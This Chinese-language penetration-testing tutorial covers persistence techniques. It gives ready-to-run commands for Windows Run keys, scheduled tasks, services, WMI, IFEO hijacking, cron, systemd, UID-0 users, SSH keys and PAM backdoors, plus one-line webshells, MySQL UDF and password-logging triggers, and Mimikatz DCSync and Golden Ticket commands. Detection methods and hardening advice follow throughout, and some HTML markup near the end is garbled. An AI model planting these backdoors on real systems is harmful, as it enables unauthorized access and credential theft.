渗透测试中的权限维持技术:从入门到进阶

一、什么是权限维持?

1.1 定义

权限维持(Persistence),是指在成功入侵目标系统后,留后门,确保下次还能访问,即使管理员改了密码、重启了系统、修复了漏洞。

为什么需要权限维持?
  • 漏洞可能修复:你利用的漏洞可能被补上,没有后门就进不去了
  • 密码可能修改:管理员可能改密码,你的账号就失效了
  • 系统可能重启:重启后,内存中的后门就没了
  • 需要长期访问:渗透测试可能需要持续几周甚至几个月

1.2 权限维持的分类

权限维持可以分为以下几类:

  • 操作系统级:修改系统配置,即使重启也还在
  • 应用级:在Web应用、数据库中留后门
  • 内网级:在域控、内网设备中留后门
  • 物理级:在固件、BIOS中留后门(高级)

二、Windows下的权限维持技术

2.1 注册表Run键

原理:Windows启动时会自动读取注册表中的Run键,执行里面的程序。

位置

  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

实战操作

# 添加后门到当前用户的Run键 reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Windows\Temp\backdoor.exe" # 添加后门到所有用户的Run键(需要管理员权限) reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Windows\Temp\backdoor.exe"

检测方法

  • 定期导出注册表Run键,对比变化
  • 用Autoruns工具查看所有自启动项

2.2 计划任务(Scheduled Tasks)

原理:Windows的计划任务可以在指定时间执行程序,可以设置"系统启动时执行"。

实战操作

# 创建计划任务,系统启动时以SYSTEM权限执行后门 schtasks /create /tn "Windows Update" /tr "C:\Windows\Temp\backdoor.exe" /sc onstart /ru SYSTEM

检测方法

  • schtasks /query查看所有计划任务
  • 检查C:\Windows\System32\Tasks\目录

2.3 服务(Services)

原理:Windows服务可以在系统启动时自动运行,以SYSTEM权限执行。

实战操作

# 创建服务 sc create "WindowsUpdate" binpath= "C:\Windows\Temp\backdoor.exe" start= auto

检测方法

  • sc query查看所有服务
  • 检查服务的可执行路径是否合法

2.4 WMI事件订阅

原理:WMI(Windows Management Instrumentation)可以订阅系统事件,当事件发生时执行指定程序。

实战操作

# 创建WMI事件订阅,当系统启动时执行后门 $filterName = "WindowsUpdate" $consumerName = "WindowsUpdateConsumer" # 创建事件过滤器 $query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfRawData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325" $wmiFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName; EventNamespace="root\cimv2"; QueryLanguage="WQL"; Query=$query} # 创建事件消费者 $wmiConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName; CommandLineTemplate="C:\Windows\Temp\backdoor.exe"} # 绑定过滤器和消费者 Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$wmiFilter; Consumer=$wmiConsumer}

检测方法

  • Get-WmiObject -Namespace root\subscription -Class __EventFilter查看所有事件过滤器
  • 用Sysmon监控WMI操作

2.5 映像劫持(Image File Execution Options)

原理:在注册表中设置 Image File Execution Options,可以让指定程序启动时执行另一个程序。

实战操作

# 当sethc.exe(粘滞键)启动时,执行cmd.exe reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe"

利用场景:物理接触目标机器时,按5次Shift键,弹出cmd.exe(无需登录)。

检测方法

  • 检查HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options下的所有键值

三、Linux下的权限维持技术

3.1 cron定时任务

原理:Linux的cron服务可以在指定时间执行程序。

实战操作

# 添加cron任务,每分钟执行一次后门 (crontab -l 2>/dev/null; echo "* * * * * /tmp/backdoor.sh") | crontab - # 或者写入到系统cron目录 echo '* * * * * root /tmp/backdoor.sh' > /etc/cron.d/backdoor

检测方法

  • crontab -l查看当前用户的cron任务
  • 检查/etc/cron*目录

3.2 系统服务(systemd)

原理:systemd是Linux的初始化系统,可以管理服务,服务可以在系统启动时自动运行。

实战操作

# 创建systemd服务 cat > /etc/systemd/system/backdoor.service << EOF [Unit] Description=System Backdoor [Service] Type=simple ExecStart=/tmp/backdoor.sh Restart=always [Install] WantedBy=multi-user.target EOF # 启用服务 systemctl enable backdoor.service systemctl start backdoor.service

检测方法

  • systemctl list-units --type=service查看所有服务
  • 检查/etc/systemd/system/目录

3.3 隐藏用户

原理:在/etc/passwd中添加用户,密码哈希在/etc/shadow中。

实战操作

# 添加用户 useradd -m -s /bin/bash backdoor echo "backdoor:Password123" | chpasswd # 或者修改UID为0,变成root权限 echo "backdoor:x:0:0::/home/backdoor:/bin/bash" >> /etc/passwd

检测方法

  • cat /etc/passwd | grep -E ':/bin/(ba)?sh$'查看所有可登录用户
  • 检查UID为0的用户

3.4 SSH密钥

原理:在目标用户的~/.ssh/authorized_keys中添加攻击者的公钥,可以无需密码登录。

实战操作

# 生成SSH密钥对 ssh-keygen -t rsa -f /tmp/key # 将公钥添加到目标用户的authorized_keys echo "ssh-rsa AAAA... attacker@kali" >> /home/victim/.ssh/authorized_keys # 使用私钥登录 ssh -i /tmp/key victim@target

检测方法

  • 检查所有用户的~/.ssh/authorized_keys
  • 用EDR监控SSH密钥文件的修改

3.5 PAM后门

原理:PAM(Pluggable Authentication Modules)是Linux的认证模块,可以修改PAM配置,让特定密码都能登录。

实战操作

# 备份原始PAM配置 cp /etc/pam.d/sshd /etc/pam.d/sshd.bak # 修改PAM配置,添加后门 echo "auth sufficient pam_exec.so /tmp/backdoor.sh" >> /etc/pam.d/sshd

检测方法

  • 对比PAM配置的哈希值
  • 用AIDE等文件完整性检查工具

四、Web后门的权限维持

4.1 传统Web后门

原理:在Web目录中放入包含恶意代码的文件(如PHP的eval($_POST['cmd']))。

实战操作

// PHP后门 <?php @eval($_POST['cmd']); ?>
// ASP后门 <% eval request("cmd") %>
// JSP后门 <% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

隐蔽技巧

  • 文件名伪装成正常文件(如wp-cache.php
  • 代码混淆(如base64_decode(str_rot13('...'))
  • 藏在图片中(利用文件包含漏洞)

4.2 内存Web后门

原理:将后门注入到Web服务器的内存中,不落磁盘,很难被检测到。

工具

  • PHP: memecache 扩展
  • Java: 内存马(Filter/Servlet/Listener型)

检测方法

  • 用Volatility分析内存dump
  • 用Java Agent监控内存中的类加载

五、数据库后门的权限维持

5.1 MySQL UDF后门

原理:利用MySQL的UDF(User Defined Function)功能,导出动态链接库,执行系统命令。

实战操作

-- 查看插件目录 SHOW VARIABLES LIKE 'plugin_dir'; -- 导出UDF库 SELECT HEX(LOAD_FILE('/tmp/udf.so')) INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'; -- 创建函数 CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf.so'; -- 执行命令 SELECT sys_exec('id > /tmp/result');

检测方法

  • 检查MySQL插件目录中的可疑文件
  • SHOW FUNCTION STATUS查看所有UDF函数

5.2 MySQL触发器后门

原理:创建触发器,当特定表被操作时,执行恶意代码。

实战操作

-- 创建触发器,当有用户登录时,将密码记录到文件 CREATE TRIGGER backdoor AFTER INSERT ON users FOR EACH ROW BEGIN SELECT sys_exec('echo ' || NEW.password || ' >> /tmp/passwords') INTO @dummy; END;

六、内网横向中的权限维持

6.1 域控中的DCSync权限

原理:如果有账号被授予 DS-Replication-Get-Changes 和 DS-Replication-Get-Changes-All 权限,可以导出所有域用户的Hash。

实战操作

# 使用Mimikatz导出所有域用户Hash mimikatz.exe "lsadump::dcsync /domain:test.com /all" exit

持久化方法

  • 创建一个服务账号,授予DCSync权限
  • 即使域管密码修改,这个账号依然能导出Hash

6.2 Golden Ticket

原理:如果有域控的KRBTGT账号的Hash,可以伪造任意用户的TGT(Ticket Granting Ticket),无需密码就能访问域资源。

实战操作

# 使用Mimikatz创建Golden Ticket mimikatz.exe "kerberos::golden /user:administrator /domain:test.com /sid:S-1-5-21-... /krbtgt:Hash值 /id:500" exit # 注入到内存 mimikatz.exe "kerberos::ptt ticket.kirbi" exit # 访问域控 dir \\dc01\c$

持久化方法

  • 保存Golden Ticket文件,需要时注入内存
  • KRBTGT账号的Hash通常不变,除非域管主动重置

七、如何检测权限维持?

7.1 基线对比

方法:定期采集系统的基线(注册表、计划任务、服务、文件哈希等),对比变化。

工具

  • Windows: Sysmon + Splunk
  • Linux: AIDE + ELK

7.2 行为监控

方法:监控可疑行为,如:

  • 注册表Run键的修改
  • 计划任务的创建
  • 服务的创建
  • WMI事件订阅的创建
  • 新的SSH密钥
  • 新的UDF函数

工具

  • EDR(Endpoint Detection and Response)
  • HIDS(Host-based Intrusion Detection System)

7.3 内存分析

方法:定期dump内存,分析是否有恶意代码注入。

工具

  • Volatility
  • Reka

7.4 常用检测工具对比

下表对比了文中提到的几种常用检测工具,帮助读者根据实际场景快速选型:

工具名称核心功能适用平台优点缺点开源/商业
Sysmon系统监控与事件记录,可记录进程创建、网络连接、文件创建、注册表修改等行为。Windows轻量级,配置灵活,可与SIEM集成,微软官方出品。仅记录事件,需配合SIEM分析;默认配置可能产生大量日志。免费(微软Sysinternals套件)
AIDE文件完整性检查,通过哈希比对检测文件、目录、权限等变更。Linux/Unix开源,轻量,可定期扫描并生成报告,适合基线对比。仅能检测文件变化,无法实时监控行为;需定期更新基线数据库。开源
Volatility内存取证分析,可从内存转储中提取进程、网络连接、注册表、恶意代码等信息。跨平台(支持Windows、Linux、macOS内存镜像)功能强大,支持多种插件,是内存分析的事实标准。需要获取内存镜像(可能影响业务),分析门槛较高。开源
EDR
(如 CrowdStrike、Carbon Black、Microsoft Defender for Endpoint)
端点检测与响应,实时监控进程、文件、网络、注册表等行为,具备威胁检测、调查和响应能力。跨平台(Windows、Linux、macOS)实时监控与响应,集成威胁情报,自动化调查与阻断。通常为商业产品,成本较高;可能产生误报。商业(部分提供免费基础版)
HIDS
(如 OSSEC、Wazuh)
基于主机的入侵检测,监控文件完整性、日志分析、rootkit检测等。跨平台(Windows、Linux、macOS)开源可选,可自定义规则,适合构建自有安全监控体系。部署和维护复杂度较高,需自行管理规则和告警。开源(如OSSEC、Wazuh)
Autoruns全面枚举Windows自启动项(注册表、服务、计划任务、浏览器插件等)。Windows直观易用,可快速发现可疑自启动项,支持命令行版本。仅限自启动项检测,无实时监控能力。免费(微软Sysinternals套件)
Splunk/ELK日志聚合与分析平台,可集中收集、索引、搜索和可视化各类日志。跨平台强大的搜索与可视化能力,支持自定义告警和仪表盘。Splunk商业版昂贵,ELK部署和维护有一定复杂度。Splunk(商业,有免费版);ELK(开源)

选型建议:

  • Windows环境基线监控:Sysmon + Splunk/ELK,配合Autoruns定期检查。
  • Linux文件完整性监控:AIDE + 定期巡检,或使用OSSEC/Wazuh等HIDS。
  • 内存取证与高级威胁分析:Volatility(需配合内存采集工具)。
  • 企业级实时防护与响应:部署EDR产品(如CrowdStrike、Microsoft Defender for Endpoint)。
  • 成本敏感且具备运维能力:采用开源HIDS(如Wazuh)结合ELK构建监控体系。

八、防御与加固建议

权限维持防御体系构建流程

flowchart TD A[攻击面识别] --> B[系统加固] A --> C[应用安全] A --> D[内网加固] A --> E[监控响应] B --&gt; B1[最小权限原则] B --&gt; B2[定期审计自启动项] B --&gt; B3[文件完整性监控] B --&gt; B4[注册表/关键目录保护] B --&gt; B5[服务与进程白名单] B --&gt; B6[网络隔离与出口过滤] C --&gt; C1[Web应用安全加固] C --&gt; C2[数据库安全加固] C --&gt; C3[代码仓库与部署管道安全] D --&gt; D1[定期轮换KRBTGT密码] D --&gt; D2[严格管控DCSync权限] D --&gt; D3[启用Credential Guard] D --&gt; D4[网络分段与微分段] D --&gt; D5[强制使用LAPS] E --&gt; E1[集中日志收集与分析] E --&gt; E2[部署EDR/HIDS] E --&gt; E3[定期红蓝对抗与渗透测试] E --&gt; E4[建立应急响应流程] B1 --&gt; F[持续监控与响应] B2 --&gt; F B3 --&gt; F B4 --&gt; F B5 --&gt; F B6 --&gt; F C1 --&gt; F C2 --&gt; F C3 --&gt; F D1 --&gt; F D2 --&gt; F D3 --&gt; F D4 --&gt; F D5 --&gt; F F --&gt; G[发现异常] G --&gt; H[快速响应与处置] H --&gt; I[修复漏洞与清除后门] I --&gt; J[优化防御策略] J --&gt; A</code></pre> 上图展示了从攻击面识别到持续监控与响应的闭环防御流程,涵盖文中提到的四个主要防御阶段: 系统加固:通过最小权限、定期审计、文件完整性监控等措施减少操作系统层面的攻击面。 应用安全:强化Web应用、数据库和代码部署流程的安全防护。 内网加固:针对域环境和内网横向移动进行专项防护。 监控响应:建立持续监控、威胁检测和应急响应机制,形成安全闭环。 了解攻击者的权限维持技术后,系统管理员和开发者可以从以下角度构建防御体系,减少攻击面并增强监控能力。 8.1 系统层面防御(Windows/Linux) 系统管理员视角: 最小权限原则:所有服务、计划任务、cron作业均以最低必要权限运行,避免使用SYSTEM/root权限。 定期审计自启动项: Windows:使用Autoruns、Sysinternals Suite定期检查注册表Run键、服务、计划任务、WMI订阅等。 Linux:定期检查/etc/cron.*、/etc/systemd/system/、/etc/rc.local及用户crontab。 文件完整性监控:部署AIDE、Tripwire或EDR工具,对系统关键文件(如/etc/passwd、/etc/shadow、~/.ssh/authorized_keys、PAM配置、系统服务文件)进行哈希基线,异常变更实时告警。 注册表与关键目录保护: Windows:对HKLM\Software\Microsoft\Windows\CurrentVersion\Run、Image File Execution Options等关键注册表路径设置审计策略,监控写入操作。 Linux:对/etc/passwd、/etc/shadow、/etc/pam.d/等文件设置chattr +i(只读)或严格权限(如root:root 644)。 服务与进程白名单:在企业环境中部署应用白名单解决方案(如Windows AppLocker、Linux SELinux/AppArmor),仅允许可信可执行文件运行。 网络隔离与出口过滤:限制服务器出站连接,仅允许访问必要的内部更新源或日志服务器,阻断后门外联。 8.2 应用与数据库防御 开发者与运维视角: Web应用安全: <pre> <ul>
  • 严格过滤文件上传类型与内容,禁止上传可执行脚本。
  • 定期扫描Web目录是否存在可疑文件(如*.php*.jsp*.asp),可使用ClamAV、YARA规则进行静态检测。
  • 禁用危险函数(如PHP的eval()system()),在php.ini中设置disable_functions
  • 对内存Web后门,部署RASP(运行时应用自我保护)或定期使用Java Agent检测内存中异常Filter/Servlet。
  • 数据库安全加固
    <ul>
  • MySQL:限制FILE权限,避免普通用户执行SELECT ... INTO DUMPFILE;定期检查mysql.plugin目录和SHOW FUNCTION STATUS输出。
  • 使用数据库审计插件(如MySQL Enterprise Audit、McAfee Audit Plugin)记录所有DDL与高危操作。
  • 对触发器、存储过程、UDF函数进行代码审查,禁止执行系统命令。
  • 代码仓库与部署管道安全:在CI/CD流程中加入SAST/DAST扫描,防止恶意代码进入生产环境。

8.3 内网与域环境加固

域管理员视角:

  • 定期轮换KRBTGT账户密码:至少每180天更改一次,并确保两次更改间隔大于10小时,以失效已泄露的Golden Ticket。
  • 严格管控DCSync权限:定期审计拥有DS-Replication-Get-ChangesDS-Replication-Get-Changes-All权限的账户,仅限域控和必要的管理账号。
  • 启用Windows Defender Credential Guard:保护LSASS进程,防止凭据窃取。
  • 部署网络分段与微分段:限制域控、数据库服务器、应用服务器之间的非必要通信,减少横向移动路径。
  • 强制使用LAPS(本地管理员密码解决方案):确保每台主机的本地管理员密码唯一且定期更换。

8.4 持续监控与响应

安全运营团队视角:

  • 集中日志收集与分析:将系统日志、安全日志、应用日志统一接入SIEM(如Splunk、ELK),建立以下检测规则:
    <pre>

    <ul>

  • 计划任务创建/修改(Event ID 4698/4702)。
  • 服务安装(Event ID 7045)。
  • 注册表Run键修改。
  • WMI事件订阅创建(Event ID 5861)。
  • SSH authorized_keys文件变更。
  • MySQL UDF/触发器创建。
  • 部署EDR/HIDS:实时监控进程行为、网络连接、文件操作,对可疑行为(如陌生进程启动、异常外联)自动告警并阻断。
  • 定期红蓝对抗与渗透测试:模拟攻击者手法,检验现有防御措施的有效性,持续优化安全策略。
  • 建立应急响应流程:一旦发现权限维持痕迹,立即隔离受影响主机、清除后门、重置凭据、修复漏洞,并追溯攻击路径。

总结:防御权限维持需要纵深防御策略,结合系统加固、应用安全、网络隔离与持续监控。通过最小权限、定期审计、文件完整性检查、集中日志分析和快速响应,可大幅增加攻击者维持权限的难度与成本。